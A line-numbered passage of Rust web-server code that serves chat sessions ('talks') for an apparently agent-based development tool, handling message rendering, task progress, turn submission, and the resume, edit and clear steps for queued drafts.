7829 talk.pending_messages.push(talk::Message {
7830 sender: Some(talk::Sender::Magi),
7831 display: Some(display),
7832 body: talk.pending.clone(),
7833 attachments: talk.pending_attachments.clone(),
7834 reply: None,
7835 });
7836 }
7837 let excerpts: Vec<Vec<Option<String>>> = talk
7838 .turns
7839 .iter()
7840 .map(|turn| {
7841 turn.messages
7842 .iter()
7843 .map(|m| {
7844 m.display
7845 .as_ref()
7846 .map(|d| d.facts.chars().take(240).collect())
7847 })
7848 .collect()
7849 })
7850 .collect();
7851 for turn in &mut talk.turns {
7852 let provenance = talk::sender(turn, None);
7853 turn.sender = Some(provenance);
7854 for message in &mut turn.messages {
7855 message.sender = Some(message.sender.unwrap_or(provenance));
7856 }
7857 }
7858 let senders: Vec<Vec<talk::Sender>> = talk
7860 .turns
7861 .iter()
7862 .map(|turn| {
7863 if turn.messages.is_empty() {
7864 vec![talk::sender(turn, None)]
7865 } else {
7866 turn.messages
7867 .iter()
7868 .map(|m| talk::sender(turn, Some(m)))
7869 .collect()
7870 }
7871 })
7872 .collect();
7873 for reply in talk
7874 .turns
7875 .iter_mut()
7876 .flat_map(|t| t.messages.iter_mut())
7877 .chain(talk.pending_messages.iter_mut())
7878 .filter_map(|m| m.reply.as_mut())
7879 {
7880 if let Some(Some(excerpt)) = excerpts
7881 .get(reply.target.turn)
7882 .and_then(|ms| ms.get(reply.target.message))
7883 {
7884 reply.excerpt = excerpt.clone();
7885 reply.sender = Some(talk::Sender::Magi);
7886 }
7887 if reply.sender.is_none() {
7888 reply.sender = senders
7889 .get(reply.target.turn)
7890 .and_then(|messages| messages.get(reply.target.message))
7891 .copied();
7892 }
7893 }
7894 let context = talk::context_usage(&talk, cfg);
7895 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
7896 .turns
7897 .iter()
7898 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7899 .collect();
7900 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
7901 .turns
7902 .iter()
7903 .map(|turn| {
7904 if turn.messages.is_empty() {
7905 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7906 } else {
7907 turn.messages
7908 .iter()
7909 .map(|message| {
7910 notice_markdown(
7911 message.sender.unwrap_or(talk::Sender::Operator),
7912 &message.body,
7913 message.display.as_ref(),
7914 )
7915 })
7916 .collect()
7917 }
7918 })
7919 .collect();
7920 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
7921 .pending_messages
7922 .iter()
7923 .map(|message| {
7924 notice_markdown(
7925 message.sender.unwrap_or(talk::Sender::Operator),
7926 &message.body,
7927 message.display.as_ref(),
7928 )
7929 })
7930 .collect();
7931 for nodes in &mut turn_bodies_md {
7932 references.markdown(nodes);
7933 }
7934 for nodes in turn_messages_md
7935 .iter_mut()
7936 .flatten()
7937 .chain(pending_messages_md.iter_mut())
7938 .flatten()
7939 {
7940 references.markdown(nodes);
7941 }
7942 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7943 let persona_name = persona::find(specs, &talk.persona)
7944 .filter(|p| !p.is_default())
7945 .map(|p| p.name);
7946 let mut avatar_persona = persona::find(specs, &talk.persona)
7947 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7948 if avatar_persona.id != talk.persona
7950 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7951 {
7952 avatar_persona.id.clone_from(&talk.persona);
7953 avatar_persona.icon = None;
7954 }
7955 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7956 let approvals_store = ask::Questions::at(home.join("questions"));
7957 let merge_approvals = talk
7958 .notified
7959 .iter()
7960 .filter_map(|key| key.strip_prefix("question:"))
7961 .filter_map(|id| approvals_store.get(id).ok())
7962 .filter(|q| crate::task_chat::approval_offered(&talk, q))
7963 .filter_map(|q| {
7964 Some(ChatApproval {
7965 question: q.id,
7966 target: q.merge_target?,
7967 })
7968 })
7969 .collect();
7970 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7971 Self {
7972 turn_bodies_md,
7973 turn_messages_md,
7974 pending_messages_md,
7975 merge_approvals,
7976 thinking,
7977 context,
7978 operator_name,
7979 persona_name,
7980 persona_avatar,
7981 magi_avatar: magi_icon_url(home),
7982 operator_avatar: operator_icon_url(home),
7983 talk,
7984 }
7985 }
7986}
7987
7988fn notice_markdown(
7990 sender: talk::Sender,
7991 body: &str,
7992 display: Option<&crate::prompt::NoticeDisplay>,
7993) -> Option<Vec<md::Node>> {
7994 if sender != talk::Sender::Magi {
7995 return None;
7996 }
7997 let text = if let Some(display) = display {
7998 display.facts.as_str()
7999 } else {
8000 if crate::prompt::is_completion_notice(body)
8003 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8004 {
8005 return None;
8006 }
8007 body.strip_prefix("magi: ").unwrap_or(body)
8008 };
8009 Some(md::to_nodes(text, &md::ImageBase::None))
8010}
8011
8012#[derive(Debug, Serialize)]
8017struct TalkDetailView {
8018 #[serde(flatten)]
8019 view: TalkView,
8020 tasks: Vec<TaskView>,
8021 task_progress: TalkTaskProgress,
8022 roster: Vec<RosterEntry>,
8025 personas: Vec<PersonaEntry>,
8028}
8029
8030#[derive(Debug, Serialize)]
8032struct TalkTaskProgress {
8033 state: &'static str,
8034 total: usize,
8035 done: usize,
8036 counts: std::collections::BTreeMap<&'static str, usize>,
8037 unfinished_ids: Vec<String>,
8038}
8039
8040fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8041 let mut counts = std::collections::BTreeMap::from([
8042 ("queued", 0),
8043 ("running", 0),
8044 ("done", 0),
8045 ("failed", 0),
8046 ("held", 0),
8047 ("blocked", 0),
8048 ("parked", 0),
8049 ]);
8050 let mut unfinished_ids = Vec::new();
8051 for task in tasks {
8052 *counts.entry(task.status.as_str()).or_default() += 1;
8053 if task.status != TaskStatus::Done {
8054 unfinished_ids.push(task.id.clone());
8055 }
8056 }
8057 TalkTaskProgress {
8058 state: if tasks.is_empty() {
8059 "none"
8060 } else if unfinished_ids.is_empty() {
8061 "complete"
8062 } else {
8063 "incomplete"
8064 },
8065 total: tasks.len(),
8066 done: tasks.len() - unfinished_ids.len(),
8067 counts,
8068 unfinished_ids,
8069 }
8070}
8071
8072#[derive(Debug, Serialize)]
8074struct PersonaEntry {
8075 id: String,
8076 name: String,
8077 avatar: String,
8079}
8080
8081#[derive(Debug, Serialize)]
8083struct RosterEntry {
8084 id: String,
8085 kind: AgentKind,
8086 runnable: bool,
8088}
8089
8090async fn talks_list(
8095 State(ui): State<Arc<Ui>>,
8096 Query(q): Query<ListQuery>,
8097) -> ApiResult<Json<Vec<TalkView>>> {
8098 blocking(move || {
8099 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8100 let talks = q.ids.as_ref().map_or_else(
8101 || ui.talks.list(),
8102 |ids| {
8103 ids.split(',')
8104 .filter(|id| plain_record_id(id))
8105 .filter_map(|id| ui.talks.get(id).ok())
8106 .collect()
8107 },
8108 );
8109 let references = if talks.iter().any(id_links::has_references) {
8110 ui.references.get(
8111 &ui.runs,
8112 &ui.queue,
8113 &ui.questions,
8114 &ui.talks,
8115 talks.iter().any(id_links::has_findings),
8116 )
8117 } else {
8118 Arc::new(id_links::IdIndex::default())
8119 };
8120 Ok(Json(
8121 talks
8122 .into_iter()
8123 .filter(|talk| q.contains(&talk.id))
8124 .map(|talk| {
8125 let thinking = ui.is_thinking(&talk.id);
8126 let cfg = configs
8127 .entry(talk.repo.clone())
8128 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8129 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8130 })
8131 .collect(),
8132 ))
8133 })
8134 .await
8135}
8136
8137#[derive(Debug, Default, Deserialize)]
8142#[serde(default)]
8143struct NewTalk {
8144 agent: Option<String>,
8145 repo: Option<PathBuf>,
8146 preferred_agent: Option<serde_json::Value>,
8150 persona: Option<serde_json::Value>,
8151 implementers: Option<serde_json::Value>,
8152}
8153
8154async fn talk_post(
8157 State(ui): State<Arc<Ui>>,
8158 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8159) -> ApiResult<impl IntoResponse> {
8160 let body = match body {
8164 Ok(Json(body)) => body,
8165 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8166 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8167 };
8168 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8169 let cfg = config_for(&repo).await?;
8170 let view = blocking(move || {
8171 let preferred = talk::Preferred {
8172 agent: body
8173 .preferred_agent
8174 .as_ref()
8175 .and_then(|v| v.as_str())
8176 .map(str::to_owned),
8177 persona: body
8178 .persona
8179 .as_ref()
8180 .and_then(|v| v.as_str())
8181 .map(str::to_owned),
8182 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8183 };
8184 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8185 let thinking = ui.is_thinking(&talk.id);
8186 Ok(TalkView::new(talk, thinking, &ui))
8187 })
8188 .await?;
8189 Ok((StatusCode::CREATED, Json(view)))
8190}
8191
8192async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8194 blocking(move || {
8195 let id = resolve_talk(&ui.talks, &id)?;
8196 let talk = ui.talks.get(&id)?;
8197 let thinking = ui.is_thinking(&id);
8198 Ok(Json(TalkView::with_config(
8199 talk,
8200 thinking,
8201 None,
8202 &ui.home,
8203 &ui.references,
8204 )))
8205 })
8206 .await
8207}
8208
8209async fn talk_sections(
8210 State(ui): State<Arc<Ui>>,
8211 Path(id): Path<String>,
8212) -> ApiResult<Json<serde_json::Value>> {
8213 blocking(move || {
8214 let id = resolve_talk(&ui.talks, &id)?;
8215 let talk = ui.talks.get(&id)?;
8216 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8217 let task_progress = talk_task_progress(&tasks);
8218 let tasks: Vec<_> = tasks
8219 .into_iter()
8220 .map(|task| {
8221 serde_json::json!({
8222 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8223 })
8224 })
8225 .collect();
8226 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8227 let roster: Vec<_> = cfg
8228 .as_ref()
8229 .map(|cfg| {
8230 cfg.agents
8231 .iter()
8232 .map(|a| RosterEntry {
8233 id: a.id.clone(),
8234 kind: a.kind,
8235 runnable: agent::installed(a),
8236 })
8237 .collect()
8238 })
8239 .unwrap_or_default();
8240 let specs = cfg
8241 .as_ref()
8242 .map(|cfg| cfg.talk.personas.clone())
8243 .unwrap_or_default();
8244 let personas: Vec<_> = persona::catalog(&specs)
8245 .into_iter()
8246 .map(|p| PersonaEntry {
8247 avatar: avatar_url(&ui.home, &talk.id, &p),
8248 id: p.id,
8249 name: p.name,
8250 })
8251 .collect();
8252 let active_persona = persona::find(&specs, &talk.persona)
8253 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8254 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8255 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8256 Ok(Json(serde_json::json!({
8257 "tasks": tasks, "task_progress": task_progress,
8258 "roster": roster, "personas": personas,
8259 "context": talk::context_usage(&talk, cfg.as_ref()),
8260 "context_for": talk.updated_at,
8261 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8262 "persona_name": persona_name,
8263 "persona_avatar": persona_avatar,
8264 })))
8265 })
8266 .await
8267}
8268
8269async fn talk_detail(
8271 State(ui): State<Arc<Ui>>,
8272 Path(id): Path<String>,
8273) -> ApiResult<Json<TalkDetailView>> {
8274 blocking(move || {
8275 let id = resolve_talk(&ui.talks, &id)?;
8276 let talk = ui.talks.get(&id)?;
8277 let thinking = ui.is_thinking(&talk.id);
8278 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8279 let task_progress = talk_task_progress(&tasks);
8280 let tasks = tasks.into_iter().map(TaskView::from).collect();
8281 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8282 let roster = cfg
8283 .as_ref()
8284 .map(|cfg| {
8285 cfg.agents
8286 .iter()
8287 .map(|a| RosterEntry {
8288 id: a.id.clone(),
8289 kind: a.kind,
8290 runnable: agent::installed(a),
8291 })
8292 .collect()
8293 })
8294 .unwrap_or_default();
8295 let specs = cfg
8296 .as_ref()
8297 .map(|cfg| cfg.talk.personas.clone())
8298 .unwrap_or_default();
8299 let personas = persona::catalog(&specs)
8300 .into_iter()
8301 .map(|p| PersonaEntry {
8302 avatar: avatar_url(&ui.home, &talk.id, &p),
8303 id: p.id,
8304 name: p.name,
8305 })
8306 .collect();
8307 Ok(Json(TalkDetailView {
8308 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8309 tasks,
8310 task_progress,
8311 roster,
8312 personas,
8313 }))
8314 })
8315 .await
8316}
8317
8318#[derive(Debug, Default, Deserialize)]
8324#[serde(default, deny_unknown_fields)]
8325struct NewTalkTurn {
8326 reply_to: Option<talk::ReplyTarget>,
8327 text: String,
8328 attachments: Vec<String>,
8329}
8330
8331#[derive(Debug, Deserialize)]
8332#[serde(deny_unknown_fields)]
8333struct EditTalkPending {
8334 #[serde(default)]
8335 message: Option<usize>,
8336 text: String,
8337 expected_text: String,
8338 expected_attachments: Vec<String>,
8339}
8340
8341#[derive(Debug, Deserialize)]
8342#[serde(deny_unknown_fields)]
8343struct ClearTalkPending {
8344 expected_text: String,
8345 expected_attachments: Vec<String>,
8346}
8347
8348async fn talk_say(
8360 State(ui): State<Arc<Ui>>,
8361 Path(id): Path<String>,
8362 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8363) -> ApiResult<(StatusCode, Json<TalkView>)> {
8364 let admission = ui.begin_admission()?;
8365 admitted(admission, async move {
8366 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8367 if body.text.trim().is_empty() && body.attachments.is_empty() {
8368 return Err(ApiError::bad_request("say something"));
8369 }
8370
8371 let id = {
8372 let ui = Arc::clone(&ui);
8373 let asked = id.clone();
8374 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8375 };
8376 {
8380 let ui = Arc::clone(&ui);
8381 let id = id.clone();
8382 blocking(move || {
8383 let talk = ui.talks.get(&id)?;
8384 if !talk.status.open() {
8385 return Err(ApiError::conflict(format!(
8386 "talk {} is {} and takes no more turns",
8387 talk.short(),
8388 talk.status.as_str()
8389 )));
8390 }
8391 Ok(())
8392 })
8393 .await?;
8394 }
8395
8396 let attachments = {
8401 let ui = Arc::clone(&ui);
8402 let id = id.clone();
8403 let ids = body.attachments.clone();
8404 blocking(move || {
8405 ids.into_iter()
8406 .map(|att_id| {
8407 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8408 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8409 })
8410 })
8411 .collect::<ApiResult<Vec<talk::Attachment>>>()
8412 })
8413 .await?
8414 };
8415 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8416 .await.map_err(ApiError::from)?;
8417
8418 let start = {
8423 let ui = Arc::clone(&ui);
8424 let id = id.clone();
8425 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8426 };
8427 let turn_guard = match start {
8428 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8429 TalkTurnStart::Pending => {
8430 return Err(ApiError::conflict(
8431 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8432 ));
8433 }
8434 TalkTurnStart::Foreign => {
8435 return Err(ApiError::conflict(
8436 "a turn is already running in another process; try again when it has finished",
8437 ));
8438 }
8439 TalkTurnStart::Busy => {
8440 let (tx, rx) = tokio::sync::oneshot::channel();
8456 tokio::spawn({
8457 let ui = Arc::clone(&ui);
8458 let id = id.clone();
8459 let said = body.text.clone();
8460 let reply_to = body.reply_to.clone();
8461 async move {
8462 let written = blocking({
8463 let ui = Arc::clone(&ui);
8464 let id = id.clone();
8465 move || {
8466 let mut talk = ui.talks.get(&id)?;
8467 #[cfg(test)]
8472 if let Some(gate) = ui
8473 .busy_queue_gate
8474 .lock()
8475 .unwrap_or_else(PoisonError::into_inner)
8476 .take()
8477 {
8478 let _ = gate.reached.send(());
8479 let _ = gate.release.recv();
8480 }
8481 if let Err(error) = talk::queue_reply(
8482 &mut talk,
8483 &ui.talks,
8484 &said,
8485 attachments,
8486 reply_to,
8487 ) {
8488 if let Ok(fresh) = ui.talks.get(&id) {
8489 if !fresh.status.open() {
8490 return Err(ApiError::conflict(format!(
8491 "talk {} is {} and takes no more turns",
8492 fresh.short(),
8493 fresh.status.as_str()
8494 )));
8495 }
8496 }
8497 return Err(
8498 if error.to_string().contains("invalid reply target") {
8499 ApiError::bad_request("invalid reply target")
8500 } else {
8501 ApiError::from(error)
8502 },
8503 );
8504 }
8505 let claim = match ui.begin_queued_talk_turn(&id)? {
8516 Some(turn_guard) => {
8517 let (cfg, _) = Config::discover(&talk.repo, None)?;
8518 Some((talk.clone(), cfg, turn_guard))
8519 }
8520 None => None,
8521 };
8522 let thinking = ui.is_thinking(&id);
8523 Ok((TalkView::new(talk, thinking, &ui), claim))
8524 }
8525 })
8526 .await;
8527 #[cfg(not(test))]
8528 {
8529 match written {
8530 Ok((view, reclaimed)) => {
8531 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8532 drop(reclaimed);
8533 match launched {
8534 Ok(_) => { let _ = tx.send(Ok(view)); }
8535 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8536 }
8537 }
8538 Err(error) => { let _ = tx.send(Err(error)); }
8539 }
8540 }
8541 #[cfg(test)]
8542 {
8543 let (view, reclaimed) = match written {
8544 Ok(pair) => pair,
8545 Err(e) => {
8546 let _ = tx.send(Err(e));
8551 return;
8552 }
8553 };
8554 let _ = tx.send(Ok(view));
8557 if let Some((talk, cfg, turn_guard)) = reclaimed {
8558 let talks = ui.talks.clone();
8559 drain_loop(talk, talks, cfg, id, turn_guard).await;
8560 }
8561 }
8562 }
8563 });
8564 let view = rx
8565 .await
8566 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8567 return Ok((StatusCode::ACCEPTED, Json(view)));
8568 }
8569 };
8570
8571 let (talk, cfg) = {
8572 let ui = Arc::clone(&ui);
8573 let id = id.clone();
8574 blocking(move || {
8575 let talk = ui.talks.get(&id)?;
8576 let (cfg, _) = Config::discover(&talk.repo, None)?;
8577 Ok((talk, cfg))
8578 })
8579 .await?
8580 };
8581
8582 let talks = ui.talks.clone();
8583 let (tx, rx) = tokio::sync::oneshot::channel();
8598 tokio::spawn({
8599 #[cfg(test)]
8600 let ui = Arc::clone(&ui);
8601 let talks = talks.clone();
8602 let id = id.clone();
8603 let said = body.text.clone();
8604 let reply_to = body.reply_to.clone();
8605 let mut talk = talk.clone();
8606 async move {
8607 let recorded = blocking({
8608 let talks = talks.clone();
8609 move || {
8610 if let Err(error) =
8611 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8612 {
8613 if let Ok(fresh) = talks.get(&talk.id) {
8614 if !fresh.status.open() {
8615 return Err(ApiError::conflict(format!(
8616 "talk {} is {} and takes no more turns",
8617 fresh.short(),
8618 fresh.status.as_str()
8619 )));
8620 }
8621 }
8622 return Err(if error.to_string().contains("invalid reply target") {
8623 ApiError::bad_request("invalid reply target")
8624 } else {
8625 ApiError::from(error)
8626 });
8627 }
8628 Ok((said.trim().to_owned(), talk))
8634 }
8635 })
8636 .await;
8637 let (text, talk) = match recorded {
8638 Ok(pair) => pair,
8639 Err(e) => {
8640 let _ = tx.send(Err(e));
8644 return;
8645 }
8646 };
8647 #[cfg(not(test))]
8648 {
8649 let _ = (&cfg, &text);
8650 let result = crate::consult::spawn_recorded_turn(
8654 &talks, &id, talk.turns.len() - 1,
8655 ).await;
8656 drop(turn_guard);
8657 match result {
8658 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8659 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8660 }
8661 }
8662 #[cfg(test)]
8663 {
8664 let queued = talk.clone();
8665 let mut talk = talk;
8666 let thinking = ui.is_thinking(&id);
8667 let _ = tx.send(Ok((queued, thinking)));
8670
8671 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8672 tracing::warn!("talk {id} turn failed: {e:#}");
8676 }
8677 drain_loop(talk, talks, cfg, id, turn_guard).await;
8680 }
8681 }
8682 });
8683
8684 let (queued, thinking) = rx
8685 .await
8686 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8687
8688 Ok((
8690 StatusCode::ACCEPTED,
8691 Json(TalkView::new(queued, thinking, &ui)),
8692 ))
8693 }).await
8694}
8695
8696async fn talk_pending_resume(
8700 State(ui): State<Arc<Ui>>,
8701 Path(id): Path<String>,
8702) -> ApiResult<(StatusCode, Json<TalkView>)> {
8703 let admission = ui.begin_admission()?;
8704 admitted(admission, async move {
8705 let id = {
8706 let ui = Arc::clone(&ui);
8707 let asked = id.clone();
8708 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8709 };
8710 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8711 .await
8712 .map_err(ApiError::from)?;
8713 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8714 return Err(ApiError::conflict(
8715 "a talk turn is already running; the queued draft will be handled by it",
8716 ));
8717 };
8718 let (talk, cfg) = {
8719 let ui = Arc::clone(&ui);
8720 let id = id.clone();
8721 blocking(move || {
8722 let talk = ui.talks.get(&id)?;
8723 if !talk.status.open() {
8724 return Err(ApiError::conflict(format!(
8725 "talk {} is {} and takes no more turns",
8726 talk.short(),
8727 talk.status.as_str()
8728 )));
8729 }
8730 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8731 return Err(ApiError::conflict("there is no queued draft to resume"));
8732 }
8733 let (cfg, _) = Config::discover(&talk.repo, None)?;
8734 Ok((talk, cfg))
8735 })
8736 .await?
8737 };
8738 let view = TalkView::new(talk.clone(), true, &ui);
8739 let talks = ui.talks.clone();
8740 #[cfg(not(test))]
8741 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
8742 #[cfg(test)]
8743 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8744 Ok((StatusCode::ACCEPTED, Json(view)))
8745 })
8746 .await
8747}
8748
8749#[cfg(not(test))]
8752async fn detach_talk_turn(
8753 _talk: Talk,
8754 talks: Talks,
8755 _cfg: Config,
8756 id: String,
8757 turn: TalkTurnGuard,
8758) -> ApiResult<()> {
8759 let launched = crate::consult::spawn_turn(&talks, &id).await;
8760 drop(turn);
8761 launched.map(|_| ()).map_err(ApiError::from)
8762}
8763
8764#[cfg(test)]
8765async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8766 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8767}
8768
8769async fn settle_settings_turn(
8773 talk: Talk,
8774 talks: Talks,
8775 cfg: Config,
8776 id: String,
8777 turn: TalkTurnGuard,
8778 observed: u64,
8779) -> bool {
8780 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8781 let turns = Arc::clone(&turn.turns);
8782 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8783 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8784 turn.release(&mut live);
8786 return false;
8787 }
8788 }
8789 let (started, settled) = tokio::sync::oneshot::channel();
8790 tokio::spawn(drain_loop_started(
8791 talk,
8792 talks,
8793 cfg,
8794 id,
8795 turn,
8796 Some(started),
8797 ));
8798 settled.await.unwrap_or(false)
8799}
8800
8801#[cfg(not(test))]
8802async fn drain_loop_started(
8803 talk: Talk,
8804 talks: Talks,
8805 _cfg: Config,
8806 id: String,
8807 turn: TalkTurnGuard,
8808 started: Option<tokio::sync::oneshot::Sender<bool>>,
8809) {
8810 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
8811 let running = if pending {
8812 match crate::consult::spawn_turn(&talks, &id).await {
8813 Ok(_) => true,
8814 Err(error) => {
8815 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
8816 false
8817 }
8818 }
8819 } else {
8820 false
8821 };
8822 drop(turn);
8823 if let Some(started) = started {
8824 let _ = started.send(running);
8825 }
8826}
8827
8828#[cfg(test)]
8831async fn drain_loop_started(
8832 mut talk: Talk,
8833 talks: Talks,
8834 cfg: Config,
8835 id: String,
8836 turn: TalkTurnGuard,
8837 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8838) {
8839 let live_set = Arc::clone(&turn.turns);
8840 let mut turn = Some(turn);
8848 loop {
8849 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8850 tracing::warn!("talk {id} lost its turn lease; not draining further");
8853 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8854 if let Some(turn) = turn.take() {
8855 turn.release(&mut live);
8856 }
8857 break;
8858 }
8859 let observed = live_set
8863 .lock()
8864 .unwrap_or_else(PoisonError::into_inner)
8865 .queued
8866 .get(&id)
8867 .copied()
8868 .unwrap_or(0);
8869 let drained = blocking({
8870 let talks = talks.clone();
8871 move || {
8872 let result = talk::drain(&mut talk, &talks);
8873 Ok((talk, result))
8874 }
8875 })
8876 .await;
8877 let (next_talk, result) = match drained {
8878 Ok(drained) => drained,
8879 Err(e) => {
8880 tracing::warn!(
8881 status = %e.status,
8882 message = %e.message,
8883 "talk {id} could not start queued-text drain"
8884 );
8885 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8886 turn.take()
8887 .expect("held for the whole loop until released here")
8888 .release(&mut live);
8889 break;
8890 }
8891 };
8892 talk = next_talk;
8893 let drained = match result {
8894 Ok(Some(drained)) => drained,
8895 Ok(None) => {
8896 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8897 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8898 continue;
8899 }
8900 turn.take()
8901 .expect("held for the whole loop until released here")
8902 .release(&mut live);
8903 break;
8904 }
8905 Err(e) => {
8906 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8907 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8908 turn.take()
8909 .expect("held for the whole loop until released here")
8910 .release(&mut live);
8911 break;
8912 }
8913 };
8914 if let Some(started) = started.take() {
8915 let _ = started.send(true);
8916 }
8917 let responded = match turn.as_ref() {
8918 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8919 None => Err(anyhow::anyhow!("the turn guard was released")),
8920 };
8921 if let Err(e) = responded {
8922 tracing::warn!("talk {id} turn failed: {e:#}");
8923 }
8924 }
8925 drop(turn);
8926 if let Some(started) = started {
8927 let _ = started.send(false);
8928 }
8929}
8930
8931async fn talk_pending_clear(
8933 State(ui): State<Arc<Ui>>,
8934 Path(id): Path<String>,
8935 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8936) -> ApiResult<Json<TalkView>> {
8937 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8938 blocking(move || {
8939 let id = resolve_talk(&ui.talks, &id)?;
8940 let mut talk = ui.talks.get(&id)?;
8941 if !talk.status.open() {
8942 return Err(ApiError::conflict(format!(
8943 "talk {} is {} and takes no more turns",
8944 talk.short(),
8945 talk.status.as_str()
8946 )));
8947 }
8948 if !talk::clear_pending_if_matches(
8949 &mut talk,
8950 &ui.talks,
8951 &body.expected_text,
8952 &body.expected_attachments,
8953 )? {
8954 return Err(ApiError::conflict(
8955 "queued message changed; reload it before clearing",
8956 ));
8957 }
8958 let thinking = ui.is_thinking(&talk.id);
8959 Ok(Json(TalkView::new(talk, thinking, &ui)))
8960 })
8961 .await
8962}
8963
8964async fn talk_pending_edit(
8968 State(ui): State<Arc<Ui>>,
8969 Path(id): Path<String>,
8970 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8971) -> ApiResult<Json<TalkView>> {
8972 let admission = ui.begin_admission()?;
8973 admitted(admission, async move {
8974 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8975 let id = {
8976 let ui = Arc::clone(&ui);
8977 blocking(move || resolve_talk(&ui.talks, &id)).await?
8978 };
8979 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8980 .await
8981 .map_err(ApiError::from)?;
8982 let (view, reclaimed) = blocking({
8983 let ui = Arc::clone(&ui);
8984 move || {
8985 let mut talk = ui.talks.get(&id)?;
8986 if !talk.status.open() {
8987 return Err(ApiError::conflict(format!(
8988 "talk {} is {} and takes no more turns",
8989 talk.short(),
8990 talk.status.as_str()
8991 )));
8992 }
8993 if !talk::edit_pending_message(
8994 &mut talk,
8995 &ui.talks,
8996 &body.text,
8997 &body.expected_text,
8998 &body.expected_attachments,
8999 body.message,
9000 )? {
9001 return Err(ApiError::conflict(
9002 "queued message changed; reload it before editing",
9003 ));
9004 }
9005 let claim = match ui.begin_queued_talk_turn(&id)? {
9006 Some(turn_guard) => {
9007 let (cfg, _) = Config::discover(&talk.repo, None)?;
9008 Some((talk.clone(), cfg, id.clone(), turn_guard))
9009 }
9010 None => None,
9011 };
9012 let thinking = ui.is_thinking(&id);
9013 Ok((TalkView::new(talk, thinking, &ui), claim))
9014 }
9015 })
9016 .await?;
9017 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9018 let talks = ui.talks.clone();
9019 #[cfg(not(test))]
9020 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9021 #[cfg(test)]
9022 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9023 }
9024 Ok(Json(view))
9025 })
9026 .await
9027}
9028
